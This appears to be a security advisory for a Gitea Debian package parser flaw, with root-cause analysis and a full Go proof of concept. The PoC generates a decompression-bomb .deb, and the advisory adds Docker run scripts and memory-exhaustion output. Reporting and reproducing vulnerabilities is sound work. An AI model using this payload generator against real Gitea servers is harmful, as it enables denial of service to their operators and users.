CVE-2026-56755

Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

Gitea's Debian package registry parser contains an unbounded decompression vulnerability in ParseControlFile. When processing an uploaded .deb file, the parser decompresses control.tar.gz and copies the entire uncompressed stream into a strings.Builder via a TeeReader, with no limit on how much data is read. Because DEFLATE compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB .deb payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with += at modules/packages/debian/metadata.go:161 inside a loop, producing O(N²) allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at routers/api/packages/debian/debian.go:146.

Root Cause

There are two distinct root causes that can be exploited independently or together.

1. Unbounded decompression (decompression bomb) ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110

The resulting inner reader is passed directly to the tar reader, and from there to ParseControlFile. Inside ParseControlFile, every byte that the bufio.Scanner reads from the decompressed stream is simultaneously written into an unbounded strings.Builder via io.TeeReader:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150

There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with io.LimitReader before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.

2. O(N²) string concatenation For each continuation line belonging to the Description field, the parser appends to a plain string with +=:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164

Because Go strings are immutable, every += allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.

Reproducing

This has been reproduced on commit 9155a81b9daf1d46b2380aa91271e623ac947c1e.

All the files go in the gitea file directory.

cmd/poc/main.go

package main
import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"fmt"
	"io"
	"os"
	"runtime"
	"strings"
	"time"
	"github.com/blakesmith/ar"
	debian_module "gitea.dev/modules/packages/debian"
)
// targetUncompressed is the desired size of the uncompressed control file.
// Set comfortably above the 12 GB container limit so the OOM kill is reliable.
const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB
// padLine is the filler field written after the required package fields.
// Using an unknown field key ("X") means the parser discards the value but the
// TeeReader still copies every byte into control.Builder — that is the bug.
// Unlike Description continuation lines this does NOT trigger the O(N²) path,
// so memory exhaustion is purely linear and fast.
const padLine = "X: a\n" // 5 bytes
// controlHeader is a minimal valid Debian control file preamble.
const controlHeader = "Package: evil\n" +
	"Version: 1.0\n" +
	"Architecture: amd64\n" +
	"Maintainer: Evil Hacker \n" +
	"Description: exploit\n"
func printMem() {
	var m runtime.MemStats
	runtime.ReadMemStats(&m)
	// Print RSS-equivalent (HeapSys + StackSys covers most process memory).
	fmt.Printf("[mem] HeapAlloc=%.2f GB  Sys=%.2f GB  TotalAlloc=%.2f GB\n",
		float64(m.HeapAlloc)/1e9,
		float64(m.Sys)/1e9,
		float64(m.TotalAlloc)/1e9,
	)
}
// buildControlTarGz streams a gzip-compressed tar archive containing a single
// "control" entry whose uncompressed size is ~targetUncompressed bytes.
// Writing is done in large batches so the loop itself is fast; gzip compresses
// the repetitive content to a fraction of its original size.
func buildControlTarGz(w io.Writer) error {
	gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
	if err != nil {
		return fmt.Errorf("gzip.NewWriter: %w", err)
	}
	tw := tar.NewWriter(gzw)
	numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)
	totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))
	if err := tw.WriteHeader(&tar.Header{
		Name:     "./control",
		Mode:     0o644,
		Size:     totalSize,
		ModTime:  time.Now(),
		Typeflag: tar.TypeReg,
	}); err != nil {
		return fmt.Errorf("tar WriteHeader: %w", err)
	}
	if _, err := tw.Write([]byte(controlHeader)); err != nil {
		return fmt.Errorf("write header: %w", err)
	}
	// Write padLine in 5 MB batches (1 M lines × 5 bytes).
	const batchLines = 1_000_000
	batch := []byte(strings.Repeat(padLine, batchLines))
	fullBatches := numPadLines / batchLines
	remainder := numPadLines % batchLines
	fmt.Printf("  Streaming %d lines (%.1f GB) through gzip...\n",
		numPadLines, float64(totalSize)/1e9)
	t0 := time.Now()
	for i := range fullBatches {
		if _, err := tw.Write(batch); err != nil {
			return fmt.Errorf("batch write: %w", err)
		}
		if i%500 == 0 && i > 0 {
			pct := float64(i) / float64(fullBatches) * 100
			fmt.Printf("  ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds())
		}
	}
	if remainder > 0 {
		if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {
			return fmt.Errorf("remainder write: %w", err)
		}
	}
	if err := tw.Close(); err != nil {
		return fmt.Errorf("tar close: %w", err)
	}
	if err := gzw.Close(); err != nil {
		return fmt.Errorf("gzip close: %w", err)
	}
	fmt.Printf("  Done in %.1fs\n", time.Since(t0).Seconds())
	return nil
}
// buildDeb writes a complete .deb (ar archive) to w.  The control.tar.gz member
// is the bomb; data.tar.gz is empty.
func buildDeb(w io.Writer) error {
	// Buffer control.tar.gz first so we know its compressed size for the ar header.
	var ctrlBuf bytes.Buffer
	fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...")
	if err := buildControlTarGz(&ctrlBuf); err != nil {
		return err
	}
	ctrlBytes := ctrlBuf.Bytes()
	fmt.Printf("  control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)
	// Empty data.tar.gz
	var dataBuf bytes.Buffer
	dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)
	tar.NewWriter(dgzw).Close()
	dgzw.Close()
	dataBytes := dataBuf.Bytes()
	arw := ar.NewWriter(w)
	if err := arw.WriteGlobalHeader(); err != nil {
		return err
	}
	now := time.Now()
	for _, member := range []struct {
		name string
		data []byte
	}{
		{"debian-binary", []byte("2.0\n")},
		{"control.tar.gz", ctrlBytes},
		{"data.tar.gz", dataBytes},
	} {
		if err := arw.WriteHeader(&ar.Header{
			Name:    member.name,
			Size:    int64(len(member.data)),
			Mode:    0o644,
			ModTime: now,
		}); err != nil {
			return fmt.Errorf("ar header %s: %w", member.name, err)
		}
		if _, err := arw.Write(member.data); err != nil {
			return fmt.Errorf("ar write %s: %w", member.name, err)
		}
	}
	return nil
}
func main() {
	fmt.Println("=== Gitea Debian Parser — Decompression Bomb PoC ===")
	fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9)
	fmt.Printf("Container memory limit: 12 GB\n\n")
	// Background goroutine prints memory stats every 2 s.
	go func() {
		for range time.Tick(2 * time.Second) {
			printMem()
		}
	}()
	// Phase 1 — create the payload and save it to a temp file.
	// Writing to disk keeps the ~200 MB compressed payload out of the heap
	// before we start the parse phase.
	tmp, err := os.CreateTemp("", "evil-*.deb")
	if err != nil {
		fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err)
		os.Exit(1)
	}
	defer os.Remove(tmp.Name())
	defer tmp.Close()
	t0 := time.Now()
	if err := buildDeb(tmp); err != nil {
		fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err)
		os.Exit(1)
	}
	sz, _ := tmp.Seek(0, io.SeekCurrent)
	fmt.Printf("\nPayload .deb on disk: %.2f MB  (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())
	// Phase 2 — call ParsePackage, mirroring UploadPackageFile at
	// routers/api/packages/debian/debian.go:146.
	// The TeeReader inside ParseControlFile (metadata.go:149) will copy the
	// entire 15 GB decompressed stream into control.Builder, exhausting the
	// 12 GB container limit and triggering an OOM kill.
	fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...")
	fmt.Println("          Memory will grow until the container is OOM-killed.")
	printMem()
	if _, err := tmp.Seek(0, io.SeekStart); err != nil {
		fmt.Fprintf(os.Stderr, "seek: %v\n", err)
		os.Exit(1)
	}
	t1 := time.Now()
	_, parseErr := debian_module.ParsePackage(tmp)
	// We only reach here if ParsePackage returns before OOM (e.g. scanner error).
	fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr)
	printMem()
}

Dockerfile.poc

FROM golang:1.26-bookworm AS builder
WORKDIR /src
Copy the full repo so the PoC can import gitea.dev/modules/packages/debian
and github.com/blakesmith/ar via the existing go.mod/go.sum.
COPY . .
Build only the PoC binary; ignore the rest of the tree.
RUN go build -o /poc ./cmd/poc/
── runtime image ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]

Now run the PoC in the Docker container with:

#!/usr/bin/env bash
set -euo pipefail
IMAGE=gitea-debian-poc
echo "=== Building Docker image ==="
docker build -f Dockerfile.poc -t "$IMAGE" .
echo ""
echo "=== Running PoC (memory limit: 12 GB) ==="
echo "    The container will be OOM-killed once memory is exhausted."
echo ""
--memory caps RSS; --memory-swap equal to --memory disables swap.
--oom-kill-disable is NOT set so the kernel OOM killer fires normally.
docker run --rm \
  --memory=12g \
  --memory-swap=12g \
  --name gitea-poc \
  "$IMAGE"
EXIT=$?
echo ""
if [ $EXIT -eq 137 ]; then
  echo "Container exited with code 137 (SIGKILL from OOM killer) — vulnerability confirmed."
else
  echo "Container exited with code $EXIT."
fi

You will see the following when running the container (see the heap allocation growing towards the end):

=== Building Docker image ===
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/
Sending build context to Docker daemon  59.32MB
Step 1/7 : FROM golang:1.26-bookworm AS builder
 ---> eafdda676c2e
Step 2/7 : WORKDIR /src
 ---> Using cache
 ---> db52a8f73485
Step 3/7 : COPY . .
 ---> Using cache
 ---> 4caf57c6e889
Step 4/7 : RUN go build -o /poc ./cmd/poc/
 ---> Using cache
 ---> 286afcb05d0e
Step 5/7 : FROM debian:bookworm-slim
 ---> f54f5c8e2e12
Step 6/7 : COPY --from=builder /poc /poc
 ---> Using cache
 ---> d7d0b269df49
Step 7/7 : ENTRYPOINT ["/poc"]
 ---> Using cache
 ---> b233faaad561
Successfully built b233faaad561
Successfully tagged gitea-debian-poc:latest
=== Running PoC (memory limit: 12 GB) ===
    The container will be OOM-killed once memory is exhausted.
=== Gitea Debian Parser — Decompression Bomb PoC ===
Target uncompressed control file size: 16.1 GB
Container memory limit: 12 GB
[phase 1] Generating control.tar.gz (compressed payload)...
  Streaming 3221225450 lines (16.1 GB) through gzip...
[mem] HeapAlloc=0.04 GB  Sys=0.08 GB  TotalAlloc=0.05 GB
  ... 16% (2.1s)
  ... 31% (3.9s)
[mem] HeapAlloc=0.07 GB  Sys=0.11 GB  TotalAlloc=0.08 GB
  ... 47% (5.8s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 62% (7.4s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 78% (9.0s)
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
  ... 93% (10.8s)
  Done in 11.5s
  control.tar.gz compressed size: 83.07 MB
Payload .deb on disk: 83.07 MB  (took 11.6s)
[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...
          Memory will grow until the container is OOM-killed.
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
[mem] HeapAlloc=0.41 GB  Sys=0.44 GB  TotalAlloc=0.48 GB
[mem] HeapAlloc=0.25 GB  Sys=0.61 GB  TotalAlloc=1.63 GB
[mem] HeapAlloc=0.63 GB  Sys=0.97 GB  TotalAlloc=2.63 GB
[mem] HeapAlloc=0.83 GB  Sys=1.52 GB  TotalAlloc=3.80 GB
[mem] HeapAlloc=1.39 GB  Sys=2.00 GB  TotalAlloc=5.34 GB
[mem] HeapAlloc=1.37 GB  Sys=2.00 GB  TotalAlloc=5.86 GB
[mem] HeapAlloc=1.42 GB  Sys=2.60 GB  TotalAlloc=6.97 GB
[mem] HeapAlloc=1.40 GB  Sys=3.35 GB  TotalAlloc=8.26 GB
[mem] HeapAlloc=2.25 GB  Sys=3.36 GB  TotalAlloc=9.11 GB
[mem] HeapAlloc=1.97 GB  Sys=4.28 GB  TotalAlloc=10.48 GB
[mem] HeapAlloc=2.73 GB  Sys=4.29 GB  TotalAlloc=11.23 GB
[mem] HeapAlloc=2.77 GB  Sys=5.45 GB  TotalAlloc=12.67 GB
[mem] HeapAlloc=2.90 GB  Sys=5.45 GB  TotalAlloc=13.46 GB
[mem] HeapAlloc=3.57 GB  Sys=5.46 GB  TotalAlloc=14.13 GB
[mem] HeapAlloc=2.94 GB  Sys=5.46 GB  TotalAlloc=16.07 GB
[mem] HeapAlloc=3.72 GB  Sys=5.47 GB  TotalAlloc=16.85 GB
[mem] HeapAlloc=4.50 GB  Sys=5.48 GB  TotalAlloc=17.64 GB
[mem] HeapAlloc=5.30 GB  Sys=7.28 GB  TotalAlloc=19.58 GB
[mem] HeapAlloc=3.82 GB  Sys=7.28 GB  TotalAlloc=20.17 GB
[mem] HeapAlloc=4.66 GB  Sys=7.29 GB  TotalAlloc=21.01 GB
[mem] HeapAlloc=5.33 GB  Sys=7.29 GB  TotalAlloc=21.67 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=4.72 GB  Sys=9.56 GB  TotalAlloc=25.09 GB
[mem] HeapAlloc=5.54 GB  Sys=9.56 GB  TotalAlloc=25.90 GB
[mem] HeapAlloc=6.28 GB  Sys=9.57 GB  TotalAlloc=26.64 GB
[mem] HeapAlloc=7.15 GB  Sys=9.59 GB  TotalAlloc=27.51 GB
[mem] HeapAlloc=8.27 GB  Sys=12.40 GB  TotalAlloc=30.43 GB
[mem] HeapAlloc=5.52 GB  Sys=12.40 GB  TotalAlloc=30.90 GB
[mem] HeapAlloc=6.35 GB  Sys=12.40 GB  TotalAlloc=31.74 GB
[mem] HeapAlloc=7.18 GB  Sys=12.40 GB  TotalAlloc=32.57 GB
[mem] HeapAlloc=8.01 GB  Sys=12.41 GB  TotalAlloc=33.39 GB
[mem] HeapAlloc=8.80 GB  Sys=12.43 GB  TotalAlloc=34.19 GB